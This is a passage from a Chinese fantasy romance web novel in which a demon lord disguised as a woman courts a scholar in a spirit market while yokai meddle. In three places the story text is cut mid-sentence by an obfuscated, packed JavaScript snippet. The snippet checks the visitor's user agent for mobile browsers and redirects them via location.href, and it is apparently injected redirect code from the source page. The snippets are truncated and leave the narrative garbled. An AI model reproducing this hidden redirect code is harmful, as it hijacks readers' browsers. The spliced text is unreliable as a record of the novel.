这群小妖怪憨憨傻傻的,比他那群嚷嚷着要把仙族踩在脚下的属下好玩多了,墨夙离随手抓了一缕妖火,一个透明的妖怪被拉到他身边。 果然,这里的每一盏妖火都是一只妖怪所化。 “我只是想来吃个饭。” 他从小就孤零零的在无妄海漂泊,生死争斗常有,家常菜,却是一次都没吃过。 和其他人一起吃家常菜,更是想都没有想过。 “你怎么会看到我们?” “你是什么人?” “怎么会来到这里?” “你要对折月做什么?” 墨夙离掩在袖底的手轻轻一弹,妖火四散,方才还问个不停的小妖怪们安静下来,惊讶地看着店里多出来的人。 他们的记忆被抹去了,不记得刚刚和墨夙离交谈过。 毕竟是在妖族设下的迷幻阵里,不得不防,可不能叫这群小妖怪坏了他的事。 装就要装得像一点,墨夙离正襟危坐,接过闻折月递过来的碗筷:“怎么去了这么久?” 幻化成女子后连声音也发生了改变,他原本说话的语调就偏慢,配上轻细的声音,听起来温温柔柔的,像一根羽毛落在心上。 闻折月惊疑不宁的心忽然安定下来:“我对这里……不熟悉,一时没找到碗筷,对了,你怎么会来到这里?” “你说的是这家店,还是……妖市?”墨夙离把玩着筷子,闻折月已经被小妖怪包围了,妖怪们如临大敌地瞪着他,一副护犊子的架势。 前者的话,是蓄意为之,后者的话,算是阴差阳错。 他一到人间就听说了妖市的传闻,左右不过是妖族的把戏,真正让他决定来这里还是因为在望月山上见到了闻折月,踏破铁鞋无觅处。 坦白讲他看到闻折月的第一反应是远离,他的直觉向来准确,对一个凡人产生敬而远之的想法出乎墨夙离的意料,他不喜欢惹麻烦,所以没有探究,顺应直觉离开了。 之后他在望月山上找了一圈,再没找到比闻折月更合眼缘的人,就只能灰溜溜地回来。 至于直觉,偶尔叛逆一下也无妨,一个凡人罢了,还能带来他承受不了的后果吗? 魔尊大人不以为意,眉眼微扬,带着不可一世的桀骜。 闻折月摇摇头:“如果不是在望月山上见过你,我一定会以为你本来就住在这妖市之中。” 是个勾魂摄魄,吞心食人的狐狸精。 墨夙离差点愉快地笑出声,匆匆一瞥,原来不止他记得对视的片刻,闻折月也记得他,这用凡人的话该怎么形容,叫一眼万年吗? 看来要让这人心甘情愿同他做那种事指日可待。 “仙山有妖市,妖市藏美人,美人最长情……” 墨夙离解下面纱,他没有对五官做太多改动,只是柔和了眉宇间的锋芒,看起来和原本有九分像,但少了几分凌厉,多了几分女子的温婉。 男扮女装,就算被认出来了,也没人敢联想到他身上。 堂堂魔尊会装成女子吗? 墨夙离丝毫不慌,威逼不如利诱,利诱不如勾引。 他不想强取豪夺,闻折月也不像是会为金钱权势驱使的人,那能利用的就只有外表,所幸,他长了一张不错的脸。 从小到大这张脸给他惹了不少麻烦,但看到闻折月怔愣的表情后,墨夙离突然觉得长得好看也不全然是坏事:“依你之见,我若是住在这妖市当中,可当得起‘绝色’二字?” 如果答案是当得起,那他就问闻折月愿不愿意跟他走。 魔尊行事,向来直接。 闻折月毫不掩饰眼里的惊艳,如果审美标准能够被统一,那就该是这样一张脸:“姑娘并非妖市中人,我与姑娘,而今也并非是可以随意评价容貌的关系。” 他双手交叠,目光轻柔地望着墨夙离,行了一个君子礼:“在下闻折月,未曾请教姑娘芳名。” 君子有君子的浪漫,书生有书生的坚持,在闻折月眼里,喜欢绝不仅仅是两个字,而是发乎情止乎礼,是小心翼翼的试探,是功成名就后的三书六礼,八抬大轿,是明媒正娶。 若在初见之时,就是具象的一句话——在下斗胆,敢问姑娘芳名,芳龄几何,可曾婚配。 “……” 可惜无妄海天生地养的魔族不懂人间礼数,识不出这句话背后的深意。 墨夙离茫然地眨眨眼,这和他想的不一样,闻折月应该夸他是绝色美人,然后他们一拍即合,他立马把人带走,被翻红浪,共赴巫山云雨。 怎么忽然一本正经起来了? 他定定地看着闻折月,再次确定了这个人很合他的眼缘,合到他愿意多花一些时间在闻折月身上:“苏梨,我叫苏梨。” 墨夙离拿不准闻折月的态度,他怀疑自己的勾引策略出了问题,默默在心里复盘,闻折月也不是个热络的性子,兀自在心里思忖,苏梨,梨花如雪梨子多汁,一听就是个很甜的名字。 故而自互通姓名以后,两人一句话都没说,一顿饭吃得无比安静,安静到旁边的妖怪都快受不了了,小声叽叽喳喳。 “这个人到底是谁,折月怎么亲自给她拿碗筷?” “折月是不是喜欢她?” “喜欢也不奇怪,她确实好看,我活了几百年,到死都没见过这么漂亮的姑娘。” “她的眼睛很特别,两只眼珠竟然是不同的颜色。” “越美的人越危险,那个男人骗走了大王,这个女人一定是来骗折月的。” “折月不会见色起意吧?” 闻折月捏着筷子的手绷紧,这群妖怪不知道议论别人要在背后吗? 还有,什么见色起意,他们读书人只有一见钟情的说法! “苏姑娘,你有没有……听到什么声音?” 他不确定是不是只有他能听到那些莫名其妙的议论声,熟稔得好似家里长辈在说闲话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13456790|141609||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,家长里短,令人尴尬的同时又有一种莫名的亲切感,让他生不起气来。 墨夙离隐晦地扫了眼周围,妖火闪烁,将店铺映得诡异邪门,魔尊大人修为高深,能看到听到的东西远比闻折月想象的多,别说妖怪们的窃窃私语了,只要他想,可以将整个妖市尽收眼底。 “嗯?有什么声音吗?” 可他现在不是魔尊,是苏梨,一个普普通通的弱女子,不应该看到妖怪,也不应该听到妖怪们说的话。 “她听不到我们说话啦。” “折月不要怕,你要是喜欢她,那我们就帮你把她留在这里,造个笼子关起来,让她永远都跑不掉,只能待在你身边。” “不行!”闻折月一拍桌子,周遭的妖怪们都噤了声。 区区小妖,还妄想困住他,呵!墨夙离压下嘴角,装作什么都不知道:“什么不行,闻公子,怎么了?” “是不是四周有什么脏东西?”墨夙离一把抓住闻折月的手,依偎到他身旁,眼神无辜,“闻公子,你不要吓我。” “没有脏东西,我刚刚在想事情,出了神。”闻折月不动声色地抽出手,还好只有他一个人听得到妖怪说了什么,不然也太尴尬了。 他长出一口气,暗骂心里那头小鹿不争气,只是碰个手而已,撞得他胸口疼。 妖怪果然擅长捉弄人心,他能听到那些声音或许和所谓的信物脱不了干系,只是不知书局掌柜有意引他来这里是为了什么。 “等我找到同行的朋友,我们马上离开这里。” 俞成林等人不知所踪,那大师兄似乎也没有想象中靠谱,不知道大家现在怎么样了。 墨夙离欣然应允:“同行的朋友?有多少人,都长什么样子?我一路走过来见过不少人,你说一下,兴许我有印象。” 找人他在行,分分钟就能知道人在妖市哪个地方。 闻折月简单描述了一下,加上那自称出自天下第一宗的大师兄,一共五个人。 他和举子们相交甚少,多亏了俞成林常常在他面前提起,谁谁谁家世出众,谁谁谁才学甚高,俞成林很擅长观察,对所有人的情况门清儿。 今日与他们一起上山的三人家世都不错,有一个是前朝中丞相的孙子,丞相致仕已久,但在京城颇有声望。 他对这三人印象深一些,也是因为相较于其他举子,这三人家世好,脾性直,在他表露出不愿相交的态度后疾言厉色,平时也毫不掩饰对他的反感。 闻折月不在意,但俞成林夹在他们之中很难做人,每每都好脾气地充当和事佬。 “你对他们可有印象?” 五个人,好家伙,还挺多。 墨夙离一边悄悄在妖市中探查,一边暗忖,他当时只看到了闻折月,怎么就没注意到他身边还有这么多人。 “看到了一个,两个……只有两个,这两个人离得挺近,都在东边那条挂着白龙旗的街上,应当是你说的大师兄和俞成林,至于其他三人,都不在妖市里。” “两个?”闻折月心里一咯噔,不好的预感涌上心头,他们一行人一起上了石阶,如果另外三个举子不在妖市,那必定是在石阶上出了意外。 “从石阶上掉下去不会死的,他们会回到家中,就像睡了一觉。” “折月放心啦,我们山头可是有规矩的,妖不会随意害人。” 闻折月恍然一惊,这才发现自己将心里话说了出来,妖怪们的话令他提起的心落回了肚子里,俞成林没事,另外三人说不定已经回了春风楼。 他松了口气,又觉出不对劲:“苏姑娘,你怎么记得这么清楚?” 墨夙离动作一滞:“我,我记性不错,进来后走过许多地方,已经差不多把这妖市给逛遍了,所以才会记得。” “你这……” 墨夙离不自觉屏住了呼吸,闻折月会不会怀疑他?都怪他太嘚瑟了,忘了闻折月不是他那群没脑子的属下,不能随口扯谎敷衍。 “你这记性也太好了!”闻折月毫不吝惜对他的夸赞,“何止是不错,以往夫子也夸我过目不忘,但我根本没办法和你比,能记住所有走过的地方和见过的人。” 墨夙离一阵心虚,他不是记性好,他只是修为高,作弊了:“没那么厉害,当时记得,很快就会忘的。” 闻折月的目光太真诚,夸得他受之有愧。 忽然一只手伸过来,将伞拿走,墨夙离抬起头,撞进一双含着笑意的眸子里,闻折月的声音轻柔得无以复加:“若有朝一日分离,姑娘也会忘记我吗?” 他撑开伞,从屋檐上流淌的月光淅淅沥沥,在他身后落了一片灿烂的银河星雨:“我为姑娘撑伞,盼望姑娘能记我长久一些。” 5. 第 5 章 妖市里处处可见白龙旗,龙是妖族中绝无仅有的存在,发源于上古,具有天然的血脉优势,曾为百妖之首,因繁衍不易渐渐绝迹了。 千年以前,下界有一条小白龙飞升上界,因为其身份特殊,引得仙魔两界震惊,后来这小白龙留在仙界,继承了上界最为神秘的折月仙境。 说起“折月”二字,墨夙离下意识看向为他撑伞的男人。 怪不得他觉得熟悉,闻折月……折月折月,这人和折月仙境重名了! 听说住在那秘境里的正是小白龙,名字不详,因为是仙魔混种二代,所以就连魔族都会给他几分薄面,尊称他一声“折月仙尊”。 啧。 折月仙尊。 墨夙离敛了敛眸子,妖族以白龙为尊不奇怪,但小妖怪们对闻折月的态度确实过于殷勤了,难不成是因为他和小白龙同名,所以爱屋及乌? 可能性不大,小妖怪们再傻,也不应该傻到这个地步。 墨夙离不到一秒就否决了这个想法,被忽略的直觉又蠢蠢欲动起来。 他有一个大胆的想法,白龙旗的原型八成就是飞升的小白龙,妖怪们对闻折月这么好,或许闻折月就是小白龙,是那位神秘到连名字都不为人知的折月仙尊! 这个念头一冒出来,墨夙离就抓住了闻折月的手,无论怎样隐藏身份,修为和血脉是骗不了人的,这是刻在骨子里的东西。 “苏,苏姑娘,你这是做什么?” 墨夙离眼睛一眨不眨地紧盯着他。 修为更高的人能看破较低者的一切伪装,听说折月仙尊百年间未曾突破了,一直闭门不出潜心修炼,他对自己的境界有信心,必定高于那劳什子仙尊。 如果闻折月真是上界下来的,肯定逃不过他的试探。 闻折月红着脸,支支吾吾:“姑娘,苏梨,你我……男女授受不亲。” 他害羞得连话都说不清楚,并没有其他怪异的反应。 墨夙离提起的心落回了肚子里,事实证明,闻折月只是闻折月,和折月仙尊除了名字以外没有任何关系。 即使身负仙魔两族的血脉,但折月仙尊受天帝教导,偏向仙界,如果真在情期和他扯上联系,且不说性命之忧,后续也少不了麻烦。 而他最讨厌麻烦。 墨夙离一秒切换得体的微笑:“冒犯了,我只是看你一直撑着伞,怕你太累。” 闻折月被他的笑晃了下眼,好看的人笑起来也好看,生动明艳,就连那双颇为冷淡的眼睛都少了几分寒意:“没关系,我不累。” 要是苏梨能多笑笑就好了。 读了十几年的圣贤书,闻折月同大多数读书人一样抱着治国平天下的宏远抱负,儿女私情从来不在他的考虑范围之内,可自从见到苏梨开始,他就控制不住去想他曾不屑一顾的嫁娶风俗,如果苏梨愿意嫁给他,他会铺下十里红妆相迎,一生爱她敬她。 他这一生就像缺了一部分,在遇到苏梨后,好像找到了能够圆满的答案。 苏梨是他生命中的意外惊喜。 墨夙离似笑非笑:“闻公子,就算不撑伞,我也会长长久久地记住你。” 一眼就看中的人,怎么可能轻易忘记。 “苏姑娘真是……”闻折月无奈失笑,“我从未见过苏姑娘这样的女子。” 明明看起来是个温婉含蓄的大家闺秀,但行事说话却出乎意料的直接,远远超出了他的认知,闻折月不觉得冒犯,反而喜欢得不得了。 这是否代表他和苏梨越来越亲近了? “你见过很多女子吗?”墨夙离蹙眉,闻折月放在人间是活脱脱的青年才俊,这一路走来,妖市里有不少貌美的人和妖冲他抛媚眼,或许他也曾体贴地为旁人撑过伞,“你只喜欢过姑娘吗?” 他自问这张脸不会输给任何人,但他是个假姑娘,装得了一时,却装不了一辈子,况且他也不打算装太久。 要是闻折月只喜欢女子怎么办? 魔尊大人头都大了,他后知后觉的发现,隐瞒身份的伪装或许会成为他和闻折月之间最大的阻碍。 “我是个孤儿,之前一直寒窗苦读,只求在科考中成名,成就一番大事业,未曾想过成家。” 或许是受身世的影响,闻折月对于家庭一直抱着躲避的态度,他不觉得他能担负起一个家庭的责任,更别说成为一个父亲。 “我没见过太多女子,更别提喜欢谁了,这是我第一次为人撑伞,若有唐突,还望苏姑娘见谅。” 见墨夙离还是不作声,他忍不住直白道:“苏姑娘,我方才那话的意思是,你很特别,就像仙子一样。” 噫,好俗。 墨夙离缓慢地眨了下眼睛,他不知道闻折月为什么突然这样说,也不知道他哪里特别,但没关系,他知道这俗气的形容是夸奖。 喜欢是一点点培养出来的,闻折月夸他,就离喜欢上他不远了。 墨夙离心里那点担忧一下子消失了:“叫我苏梨吧,苏姑娘听起来怪怪的,我不喜欢,你也不必把我当成女儿家来看,我,我……我很坚强。” 他可不想当苏姑娘。 “你叫我苏梨,我叫你折月,可以吗?” 闻折月被逗笑了,越发觉得面前的人独特:“当然可以,苏梨,这里处处都挂着白龙旗,你说的那条街要往哪里走?” “那边,卖夜明珠的地方。”墨夙离指了一个方向。 妖市之中有不少摊位,各种稀奇古怪的玩意儿都有得卖,共同点是所有摊位上都能看到夜明珠的身影,和处处飘着的白龙旗一样,夜明珠似乎是妖怪们的另一种执念。 闻折月刚刚也收获了一颗夜明珠,拳头大小,比摊子上卖的那些都要大,墨夙离对夜明珠没兴趣,但也知道闻折月手上那颗夜明珠品相不错,就算是在上界也算罕见。 “你喜欢夜明珠吗?” 其实挺喜欢的,但和对眼前之人的喜欢比起来,就不值一提了。 闻折月扬起笑:“谈不上喜欢,挺亮的,拿着它看你会更清楚一些。” 离开店铺后,墨夙离有意无意释放出了一丝威压,妖怪们不敢靠近,照明的妖火远离,月光又被伞遮住,周遭昏暗了不少。 闻折月说的是实话,但这实话听着怪让人脸红心跳的。 魔尊大人心里涌起一股莫名的别扭劲儿,他劈手夺过闻折月手里的夜明珠,不服输道:“我也要看你更清楚一些。” 他觉得不自在一定是不想输给闻折月,虽然说不清是怕哪方面输,但他的好胜心强,哪方面都不能输。 光晕映照在两人的眉眼之间,四目相对,空气似乎变得黏稠起来,闻折月呼吸一窒,久久无法回神,撞吧撞吧,他心里那头小鹿迟早会撞死:“苏梨,我喜——” “闻兄!” 闻折月一个激灵,偏开头。 好险,苏梨的眼睛有一种魔力,他看着看着,差点把心里想的事说出来。 “闻兄,真的是你!我找了你好久。”俞成林远远地跑过来,“其他人都不见了,我记得在石阶上的时候你们走在一起,他们呢?该不会是出了什么意外吧,你们……” 他欲言又止,话里话外另有深意,闻折月拧了下眉,刚想说话,墨夙离就幽幽道:“我和折月一直在一起,并没有见过其他人。” 光线昏淡,俞成林这才发现他身边还有个人,愣了下:“这位是?” “路上遇到的朋友。”闻折月没有介绍,侧了下身,挡住俞成林的视线,同为男人,他无比清楚俞成林在看到苏梨时的痴迷,“我没有见过其他人,他们和你相熟,不是一直和你在一起吗?” “我,我……我们在石阶上走散了,当时我跟着大师兄,我以为你们在一起。”俞成林讪讪一笑,“他们脾气急,我怕你们一言不合大打出手,然后出意外。” 闻折月抿了下唇,这是他心情不虞时的小动作,俞成林大大咧咧,性格直接,就是有时候说话带着软刺,让人不太舒服。 “你的意思是,折月和他们大打出手,将他们推下了石阶?”墨夙离轻嗤,他不懂人心弯弯绕绕,但对恶意的感知十分敏锐。 俞成林连忙摆手:“我可没这么说。” “可你就是这个意思。”墨夙离将闻折月扯到身后,目光冷冽,“什么证据都没有就诬陷别人,要不是折月说你是他的朋友,我差点以为你是他的仇人。” “我只是担心大家,那石阶如此危险,要是掉下去肯定会死无葬身之地,我担心闻兄一时冲动……” “我没有一时冲动,先离开这里再说吧。” 如果只是掉下石阶并不会有事,闻折月并不担心,他拉住墨夙离,冲他摇摇头:“好了,我们去找大师兄,他是天下第一宗的弟子,或许知道怎么离开这里。” 墨夙离不解,他明明是在为闻折月出头,怎么闻折月一点都不领情。 “不识好歹。”他小声嘀咕。 下一秒手腕就被捏了一下,闻折月轻笑:“苏梨,说人坏话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13456791|141609||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不能当着人家的面。” “不当着你的面,你怎么知道我在说你的坏话?”墨夙离理直气壮,“你就是不识好歹,他分明没把你当朋友。” “对呀对呀,大美人说得对,那个人看起来好坏。” “折月不要相信他。” “离他远一点。” “大美人好,朋友坏。” “这种人根本就不配做折月的朋友!” 妖怪们纷纷附和,有不少妖火蹿到俞成林身旁捉弄他,闹得俞成林又蹦又跳,四处逃窜:“让你欺负折月,打你!” 闻折月哭笑不得,赶走了俞成林身旁的妖火:“没事吧?” 小打小闹没伤到人,只是俞成林吓了一跳,对于凡人来说,妖始终是邪异之物,被一群妖火围着捉弄跟被一群鬼压床差不多,死不了,但吓人。 “闻兄!”俞成林抱紧了他的胳膊,不敢撒手。 墨夙离嫌弃地皱眉,有种自己的东西被碰脏了的感觉,让他平白生出些许不悦,想将闻折月胳膊上的爪子剁下来喂狗。 他养了条狗,在无妄海深处,那狗凶恶得很,什么都吃,以前打他主意的人都被他杀了喂狗。 闻折月无奈,他不想松开墨夙离的手,但俞成林抱着他的胳膊,他连伞都没办法撑了,正为难之间,手里的伞就被拿走了,取而代之的是一颗夜明珠。 墨夙离站在妖火旁,洁白的衣角随着夜风荡开弧度:“我去找人。” 墨夙离觉得自己很不对劲,他真是睡饱了闲的,竟然在和闻折月玩什么才子佳人的戏码,还生这种说不清缘由的气。 闻折月阻拦不及,墨夙离一闪身就没入了人海,就像鱼进入了海里,转眼就不见人影。 他抽出被俞成林抱住的胳膊,脸色难看得吓人,俞成林缩了缩脖子:“闻,闻兄,你怎么了?” 他头一次见闻折月脸色这么阴沉,就算是举报考官透题时也没这样,像是要吃人似的。 闻折月按了按眉心:“没事。” “闻兄,那位姑娘是什么人?你们是在妖市中遇到的吗?她该不会是妖怪吧?妖怪最有心机,她刚刚还在挑拨我们,你可要小心,千万别被她骗了。” “俞成林。” 闻折月攥了下手,掌心空落落的:“苏梨是我喜欢的人,她不是妖。” 他本该握住苏梨的手。 “可是……” “没什么可是,就算她是妖也没关系,你不是一直怂恿我来妖市抱得美人归吗?我把你当成唯一的朋友,所以别在我面前说她的坏话,我听不得。” 魔尊大人一出手,很快就找到了大师兄,他稀里糊涂的跟失了魂似的跟着墨夙离,看到闻折月后突然清醒过来:“嘿!你小子艳福不浅,还真招来狐狸精了?!” 他打量着墨夙离,倒吸一口凉气,这么好看,这他娘的得是狐狸窝里的祖宗吧! 闻折月身上还散发着冷意,阴恻恻地盯着他:“说笑了,我要是能招来狐狸精,一定先让他割了你的舌头挖了你的心。” “……” 你小子可真毒! 大师兄打了个哆嗦,抱紧了剑:“不是狐狸精就好,我这不是怕你被骗了吗!” 一个两个都怕他被骗了,闻折月忍不住想,他看起来真那么好骗吗? 墨夙离瞥了一眼,笑了:“桃木剑?” 下界的修士都是用这种剑修行的吗?怪不得千年间都没有几个人能飞升,这破剑连人都砍不死,有个屁用。 “别看不起桃木剑,这可是驱鬼辟邪的最佳武器,待我施展术法,这小小妖市片刻后就会现出原形!” 大师兄咽了咽口水,他本以为妖市繁华,但进来后才发现这里的东西都是假的,比如说摊子上卖的金银珠宝,拿到手没多久就会变成一根毛或者一块石头,都是障眼法。 “你真有办法离开这里?” “那当然,我可是天下第一宗的大师兄!” 他煞有其事地念叨着咒语,挥舞桃木剑作法,墨夙离看着他招摇撞骗,手里忽然被塞了个东西,他定睛一看,是个精致的小绣球。 闻折月不知何时来到他身边,垂落的眼睫洒下一片阴翳,令他的眼神看不分明:“从妖市离开后不知还能不能再与姑娘相见,此为……信物,据说将它交给心悦之人,就能保佑两人长长久久。” “偌大世间,天地辽阔,相守不易,苏梨,我不贪心。” 若不能长长久久,只求再次与你相遇。 6. 第 6 章 繁华的妖市如梦幻泡影散去,山林间下了一场细雨,淋淋漓漓半夜,云雾浩渺,遥远的山巅再次成为无法踏足的仙境。 老龟一骨碌爬起来,期待地搓手手:“这么快,折月挑了谁?!” 如果闻折月在这里,就会发现坐镇妖市的老龟正是失踪已久的书局掌柜。 “谁都没挑,折月把绣球送给了一个凡人女子!”妖火呼啦一下烧起三丈高,光看形容都能看出妖怪们有多震惊,“我们准备了那么多美人,可折月愣是一个都没看上,一颗心都掉在那凡人身上!” “呜呜呜,我抛媚眼抛得眼睛都快瞎了,可少主连看都没看过我一眼。” “我也是,少主都没看过我,他一直盯着大美人,不过那个大美人是真的好看,要不是少主喜欢,我都想把她带回窝。” “那么好看的大美人,岂是你配得上的?!” “我配不上,难道你觉得你配得上吗?” 男妖女妖吵个不停,老□□疼地摆摆手,眉头紧皱:“什么大美人?” 妖市里的妖都是他特地挑选出来的,姿容出众,各具风情,今日这妖市堪比帝王的后宫,三千佳丽都等着闻折月的挑选。 小妖怪们瞬间安静下来,期期艾艾,半是抱怨半是羡慕:“就是一个凡人女子,长得特别漂亮,她和少主一起吃了饭,少主还给她撑伞,为了她连最喜欢的夜明珠都不要了……总之他俩站在一起特别般配!” “凡人?般配?”老龟的眼里发射出死亡光线,呵呵冷笑,“你们之前可不是这副嘴脸,一个个自诩大美妖,现在怎么帮凡人说起话来了?” “要怪只能怪那个凡人长得太好看了,比我们所有妖加起来都好看,跟她一比,我们只能算小美妖了。”小妖怪们一脸无辜。 老龟:“……” 你们还怪有自知之明的嘞。 迷幻阵解除的唯一条件就是闻折月将信物送给别人,那可是绣球,本身就带着暧昧的意思,以闻折月的个性就算丢掉也不会随便送给别人。 当然丢是丢不掉的,如果不是真心实意送出去,绣球还会回到闻折月手里。 妖市破除,就代表闻折月是真心的。 老龟恨铁不成钢,他剧本都已经写好了还能出岔子,都怪这群笨蛋妖怪不争气,迷不了龙的眼。 “再好看也不行。” 一想到当初他们的大王闻逍为了蔺月盏要死要活,老龟就糟心,那是他们运气好,蔺月盏也是从上界来的,两人最终才能长相厮守。 可即便他们兜兜转转在一起了,还是因为不可抗力缺席了闻折月的童年。 人和妖是没有好结局的,种族不同就不该在一起。 “不行,一定不能让折月喜欢上凡人。”老龟拍案而起。 刚见面,感情还不深,趁两人之间还没发展得太深,他去抹掉今晚的一切,这样折月就不会再惦记那个大美人了。 他们的宝贝龙绝不能吃爱情的苦! 老龟一走,妖怪们没了管教,顿时兴奋起来。在这望月山上,老龟的辈分最大道行也最深,是说一不二的领头人。 妖死之后魂灵不灭,那些妖火都是老龟曾经的朋友,也是和他一起抚养闻折月长大的老伙计。 他们把闻折月当成自己的孩子,精心照顾,就算死了也放心不下,妖魂不入轮回,自愿留在望月山中,日复一日地等着他们的宝贝龙回来。 一千年太久了,久到天下第一宗隐世不出,成了少数人才知道的世外宗门,久到望月山更迭变迁,沧海桑田轮换,久到除了命长的老龟,这山上的妖怪死死生生,都换过了几茬。 年轻的小妖怪们都对闻折月十分好奇,一听说老龟要给他相亲纷纷来凑热闹,这妖市说白了就是一场特地为闻折月准备的相亲大会。 起初只是来凑热闹,好奇飞升上界的小白龙是什么样子,见到闻折月本人后,小妖怪们全都走不动道了。 少主俊美又强大,就算是瞎了眼的妖都会喜欢,必须拿下! 可惜,还没等他们使出看家本领来勾引少主,就杀出了一个好看得妖都自愧弗如的大美人,直接用脸策反了所有妖怪,以一己之力将情敌变成了CP粉。 “少主真的不能和大美人在一起吗?我觉得他们两个好般配,只有这样的人才配得上少主,要是换了其他妖,我第一个不同意这门亲事。” “我也希望他们在一起,可大美人是凡人,少主只是下凡历劫,迟早要回上界的,到时候他们就不能在一起了。” “兴许等不到少主回上界的时候,大美人就要死了,凡人不像我们妖,活不久的。” “做一世夫妻问题不大,怕就怕少主随他那深情的爹,听说当初少主爹为爱殉情,要是少主也舍不得大美人,跟着她一起去死怎么办?” 小妖怪们醍醐灌顶,突然有种窥破天机的感觉:“嘶,怪不得龟大大跑那么快,原来是怕少主真喜欢上大美人,为她殉情!” 这一夜的望月山注定不眠,妖怪们议论不休,离开妖市的人也大梦一场,将诡谲的夜晚当成了一场幻梦。 - 墨夙离端详着绣球,丝毫不知道现在自己已经成了妖怪们眼中的短命凡人,信物啊……这个他懂,是两情相悦时用来证明彼此感情的物件。 闻折月送他信物,等于闻折月喜欢他。 墨夙离很开心,他勾引得果然很好,闻折月这么快就喜欢上他了,不过绣球不是成亲之前用来抛的吗,莫非闻折月是在向他求婚? 思及此,魔尊大人的心跳快了几分。 他只是想找个床伴度过情期,闻折月怎么考虑了那么多,亲事什么的先不提,这绣球也太寒酸了点……墨夙离皱了皱眉头,他没吃过猪肉但见过猪跑,正常的绣球得用双手捧,这小玩意儿不伦不类,一看就不值钱。 钱财乃身外之物,金银对他更是无用,魔尊大人倒不介意值不值钱,只是闻折月连个像样的绣球都拿不出来,一定过得很辛苦吧! 若非如此,他一个普通人怎么敢在妖市里吃饭,还吃了满满两大碗。 比他多吃了整整半碗饭! 可恶啊,墨夙离想起这事就扼腕叹息,在这一点上他输了,没吃过闻折月。 闻折月是个孤儿,和他一样,墨夙离回想起从前的经历,心揪了下,闻折月也曾像他一样受人欺凌,为了活下去而苦苦挣扎过吗? 无妄海中摸爬滚打,多年死里求生,那段岁月令墨夙离的眼底蒙上一层阴翳,他心间翻腾起恨意,几乎要淹没理智。 过去了,都过去了……墨夙离捂着眼睛,仿佛有尖刀在眼窝里疯狂搅动,疼得他呼吸不畅,恨不得将眼珠挖出来。 世人赞叹他那独一无二的金眸,神秘而高贵,殊不知他最厌恶的就是这只眼睛。 不知过了多久,疼痛慢慢缓解,墨夙离呼出一口气,他好歹是个魔族,拼命修炼就能保护自己,闻折月只是个凡人,要平安长到这么大一定很不容易。 不值钱的绣球突然变得烫手,墨夙离好似从中感觉到了闻折月向他求婚的灼灼真心,那般炽热的感情,让他的心也跟着热了起来。 他喃喃低语:“这或许就是滚烫的爱吧!” “……爱个屁!你丫手都快被烤熟了,不觉得热吗?”大师兄尖叫出声。 他稀里糊涂舞了通剑,结果妖市“啪”的一下真消失了,一睁开眼,他就回到了望月山上,正准备下山,竟然遇见了那个顶顶漂亮的狐狸……啊,不对,是姑娘。 这姑娘真他娘的好看哇! 可惜了,长得好看,但脑子不太好。 大师兄虎虎生风地挥着桃木剑,一通指挥:“你快把那玩意儿扔掉,那上面有妖火,是妖物,交给我来解决。” 他连妖市都能破除,小小妖物自然不在话下。 墨夙离面无表情,区区妖火还伤不了他,但该死的妖怪竟然敢在他的定情信物上动手脚,不可饶恕! 魔尊大人心里本来就烦,被这妖火一刺激,几乎控制不住心里的杀意。 他没搭理咋咋呼呼的大师兄,魔力包裹在手掌上,轻轻一捏,仿佛捏住了妖怪的咽喉,那湛蓝色的妖火不堪重负从绣球里钻了出来,活似一只萤火虫,慌忙朝着远处飞去。 墨夙离甩甩手,本来是想下死手的,方才突然转了心思,竟敢在魔尊头上动土,他倒要看看这妖怪在搞什么把戏。 墨夙离抬步跟上,大师兄呆了两秒,匆匆忙忙追了上去。 他自己几斤几两自己清楚,若说之前还心存侥幸是自己破了妖市的障眼法,但看清墨夙离这一番操作后,大师兄彻底醒悟了,妖市绝不可能是他破的。 他耍桃木剑的时候,墨夙离似乎就在旁边。 “诶,姑娘,你等等我,你要去哪里,我陪你一起去吧。”大师兄提着剑,屁颠屁颠地追了上去,“我瞧你对妖物颇为了解,也是同道中人吧,姑娘你师承何人,来自什么门派?” “闭嘴。” 墨夙离冷冷地瞥了他一眼:“再说一句,就把你的舌头割了喂狗。” 大师兄:“……” 你跟那书生不愧能看对眼,你俩忒毒,都惦记我舌头! - 书生什么都不知道,书生无辜被骂,书生接连打了好几个喷嚏。 闻折月揉揉鼻子,妖市消失后他就回到了春风楼,熟悉的房间,身旁空无一人,一切就像是一场梦,唯一的慰藉是小绣球不见了,怀里多了个拳头大的夜明珠。 闻折月打量着夜明珠,有些移不开眼,这珠子亮晶晶的,可真好看,不过还是比苏梨差一点的。 苏梨……闻折月的心脏漏跳了一拍,他从来没有像现在一样感谢书局掌柜,感谢小绣球的存在,这证明苏梨并非是他臆想出来的。 再过两个时辰天就亮了,殿试的结果将要张榜,闻折月毫无睡意,索性去找春风楼的掌柜询问了情况,看到和他们一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 